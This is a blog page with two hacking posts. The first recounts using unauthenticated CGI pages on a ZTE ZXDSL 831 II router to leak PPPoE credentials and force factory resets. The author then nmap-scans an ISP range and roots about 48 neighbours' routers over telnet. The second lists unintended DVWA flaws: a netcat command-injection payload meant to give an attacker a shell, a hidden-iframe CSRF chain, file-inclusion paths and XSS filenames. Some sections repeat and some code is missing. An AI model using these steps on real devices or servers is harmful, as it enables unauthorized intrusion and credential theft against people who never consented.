websecurity

ZTE ZXDSL 831 II: Hacking and Rooting my internet neighbours

8:51 AM

ZTE is providing a ADSL router and most models are running same services and similar issues reflect with them. so this is a general router problem, i believe.

Here is how it started, I got a new DSL internet modem (ZTE ZXDSL 831 II) and turns out i forgot my password. i coudnt connect to the internet nor can i go to 192.168.1.1 and change my credentials (it was using a Basic form of authentication using HTTP Headers (Could easily be exploited)) but i take it as a challenge and try to get inside to continue using my internet.

Turns out, I was able to first hack it, root it, hack the people around me (* people using broadband in the country (if know ip range)) and then write about it.

Since I wasn't able to find a direct way to access the modem directly using the IP, i start requesting some files.... and turns out most of those files were returning to me without a 401 Unauthorized error (unlike the login page), which is an Insecure Direct Object Reference vul.

note that (by default), the modem comes with admin:admin password credentials. which is awesome to pawn other people not changing the default credentials. unlike those people, i changed it, so i had to find another way.

requesting http://192.168.1.1/upload.cgi didn't throw up a 401 error. it just give the upload page, Insecure Direct Object Reference. awesome!

Next, i found the awesome place, (without being authenticated), requesting http://192.168.1.1/pppoe.cgi would turn out the pppoe password and username when you view source. shit!

And then i found the most awesome hole (the restore default location), without being authenticated requesting http://192.168.1.1/resetrouter.cgi would later reset the modem to default. meaning, making it admin:admin again.

Awesome! so i get inside. but that wasn't enough nomore, i wanted something more. root?

So i port scanned it using nmap -sV 192.168.1.1 and it retured

...
23/tcp   open   telnet  ZXDSL 831CII ADSL modem telnetd 5.2.0a_E09_ET
...

so i just did telnet, since i reset default, the login now is admin:admin obviously. so i get inside the modum and get plenty of commands avilable. but they werent cool so i typed "sh" which turns out BusyBox v1.0 Built in shell(since it was running micro_httpd)

# cat /proc/cpuinfo
system type             : 96338L-2M-8M
processor               : 0
cpu model               : BCM6338 V1.0
BogoMIPS                : 239.20
wait instruction        : no
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : yes
hardware watchpoint     : no
unaligned access                : 1289794
VCED exceptions         : not available
VCEI exceptions         : not available

Dead performance!

So I did, "cat /proc/meminfo" (6MB it holds), then "cat /proc/version" and it returned
...
Linux version 2.6.8.1 (root@host.domain.com)
...

Even though there was a public local exploit to that kernel simply typing "echo $USER" revealed i am root. (was root the whole time) no need to root shit. Simple as that.

going to, http://192.168.1.1/menu_status.html gives public ip address of the modum. (aside from lots of easier ways), it was 10.136.0.16

so i just did a "sudo nmap --open -sS -sV -T4 10.136.0.*/24 -p 80 -oG - | grep 'open' "

and figure out atleast 48 other modums online. then i go to their ip.add.re.ss/resetrouter.cgi and then telnet. root them! it was a fun time of recovery! now i root the router, i can manipulate what goes to my ISP and what isn't which is bad for the ISP. :P


Happy Hacking!

Conclusion: ZTE makes bad routers, most running same services, similar holes. it wasnt built in having security in mind. run if you see one! dont buy it! sue me!

and ya, disable remote logins to telnet, http etc. ;)

bypass

DVWA: Unintended Security Issues

4:04 AM


Hacking the Hackers

So your friend have DB-UUA? & you want to hack his ass?? :P

Here is the exploit link: http://pastebin.com/A7WV5MbK 

“Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment…” 



Well, basically it helps you learn about web security. It has 3 levels of security. Low, Medium and High. The “High” level is the secure considered level (it is supposed to be the secure version of ‘em all and not to be passed to teach the secure implementation of web applications for developers).

DVWA 1.0.x (The version I just installed) includes Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, Blind SQLi, Upload, XSS Stored and Reflected vulnerabilities to be played with.
Aside from those I believe there are some unintended security problems with the application itself even in the “High”est level.

Command Execution

This is an attacker perspective.

There is a .htacess file for DVWA not to be accessed other than locally. And also there is a command execution challenge. It is possible to execute commands in the challenge using inputs like 127.0.0.1;ls –la.
Imagine an attacker who knows you have DVWA want to execute commands remotely in your PC. But that won’t be possible since there is a .htaccess file permiting them from accessing your.ip.address/dvwa. But imagine if the attacker craft a CSRF for you to execute commands in the challenge. 


The fact that there is no anti-CSRF token in the command execution challenge puts you’re server in danger while browsing sites contain scripts like this if you are using low and medium level
“127.0.0.1;netcat –l 155.10.15.1 –p 4444” will allow the attacker to get a shell connection back to you using your PHP server.

But, if you use the high level, the above payload won’t work since it’s secure. Hmm. so the attacker needs to craft another CSRF for you to change your challenge level to low or medium, since there is still no anti-CSRF token in /security.php , why?? Lol. Anyway, Good for us. We will craft scripts like

That will make your challenge level to “low” and open a port back to the attackers PC.
But DVWA gives you session cookies for one IP. So localhost and your IP (x.x.x.x) won’t have same cookies. Meaning, even if the victim is logged in, our CSRF won’t work because we use they use their IP (which is unlikely they are logged in other than using localhost).

So imagine the victim is not logged in, have different password than default. And there is also that IP problem. It’s hard to create command execution now. Harder but not impossible, because there is no token in /setup.php too. Why? Lol.
Now we make the user reset their database (which also resets password) in case they change it back other than the default value “password”. Then now we know the admin new password and username is reset back to admin and password for password.

Now we make the victim login using our default new password and username since there is no login token too. Nice.

Now we have a 99% success rate to get shell when victim visit our CSRF link once we automate the 
process.

For testing I just add each csrf to csrf1.php csrf2.php… respectively and I added an auto submitter for all of them. Then I created one file called all.php then I framed all of them with 0 width and  0 height for the pixel to be hidden while submittion… so all.php submits all the 4 csrfs and get us a shell when victim visit our link (all.php). which is awesome because anyone who have dvwa is shitty doomed! Lol
So Finally with Tabor Nekatebeb we created a JavaScript exploit for the working exploit and upload it to packet-storm http://packetstormsecurity.com/files/128253/DVWA-Cross-Site-Request-Forgery.html

Unintended L/RFI

/vulnerabilities/view_source.php?id=csrf&security=../../../config/config.inc

XSS in the upload section.

DVWA’s High level file upload is very interesting. I believe it’s very secure aside from the fact that it doesn’t read image binaries to realize it’s a real image other than the image extension and content-type headers. (Note this can be a very easy way to escalate if: LFI { command execution})
But that’s not the only issue in the upload section, the uploaded file names aren’t sanitized, they just will be printed out in a <pre> tag. This is bad because this can be escalated to cause reflective XSS.

That is the secure “considered” code for file upload but to at least eliminate XSS, I believe the code should become 

“$uploaded_name = htmlentities($_FILES[‘uploaded’][‘name’];” is all I add to eliminate cross site scripting, before that an attacker can upload a file named” </pre><script>alert(0);</script>.jpeg” (Note: use *nix based systems since windows pretty much won’t let you save a file with a name <,> or pretty much any cool symbols unless you intercept the requests)
Another XSS could be done even when after htmlentities actually (but requires user interaction), a user can upload a file called “javascript:alert(0);//.jpeg” and when a user visits http://localhost/dvwa/hackable/uploads/ a link with the image location will be generated like
<a href="Javascript:alert(0);//.jpeg">Javascript</a></td><td align="right"> so if the user click on the image,
there will still be XSS. It is often recommended to give uploaded files computer generated names.


The fact that Ajax can’t make external HTTP request prior to the Same-Origin Policy for XMLHTTPRequest make the exploit self only. But using HTML and Javascript you can create a working exploit to own anyones ass. ;P we did that to stop skids using this to hack your elite ass just for having DVWA. 

Local File Disclosure

vulnerabilities/view_help.php doesn’t sanitize user input before giving a page help preview.
Thus, leading to Local File Disclosure.

(Note: if magic_quote_gpc is enabled than the null byte() will get converted to /0, implying that the attack will fail)

but we can still exploit this with Path Truncation.


XSS in the upload section.

DVWA’s High level file upload is very interesting. I believe it’s very secure aside from the fact that it doesn’t read image binaries to realize it’s a real image other than the image extension and content-type headers. (Note this can be a very easy way to escalate if: LFI { command execution})
But that’s not the only issue in the upload section, the uploaded file names aren’t sanitized, they just will be printed out in a <pre> tag. This is bad because this can be escalated to cause reflective XSS.
That is the secure “considered” code for file upload but to at least eliminate XSS, I believe the code should become
“$uploaded_name = htmlentities($_FILES[‘uploaded’][‘name’];” is all I add to eliminate cross site scripting, before that an attacker can upload a file named” </pre><script>alert(0);</script>.jpeg” (Note: use *nix based systems since windows pretty much won’t let you save a file with a name <,> or pretty much any cool symbols unless you intercept the requests)

Another XSS could be done even when after htmlentities actually (but requires user interaction), a user can upload a file called “javascript:alert(0);//.jpeg” and when a user visits http://localhost/dvwa/hackable/uploads/ a link with the image location will be generated like

<a href="Javascript:alert(0);//.jpeg">Javascript</a></td><td align="right"> so if the user click on the image, there will still be XSS. It is often recommended to give uploaded files computer generated names.

XSS in viewsource.php


Self-XSS setup.php
The setup.php contains the following code.


And DVWA explain the dvwaPageReload() function in the else statement as



And if somehow two of the if and elseif checks fail the dvwaPageReload Redirection happen with dvwaMessagePush() thus our payload “><script>alert(0);</script> being executed. J

Bonus

In the beginning I wrote “DB-UUA” as you were expecting DVWA so you probably are wondering if it’s a typo lol. Well if you made it this far, you deserve a little break why, B sounds better than V. and the UU is W. it have history you know, W is called Double U because long ago people use to write two U’s and say look homie… a W. So UU is W. uutf right?

And ya, there are lots of FPDs

Login.php:           Login[$shit]=1&password=password&username=admin
Login=Login=Login&password[]=password&username=admin
Login=Login=Login&password=password&username[]=admin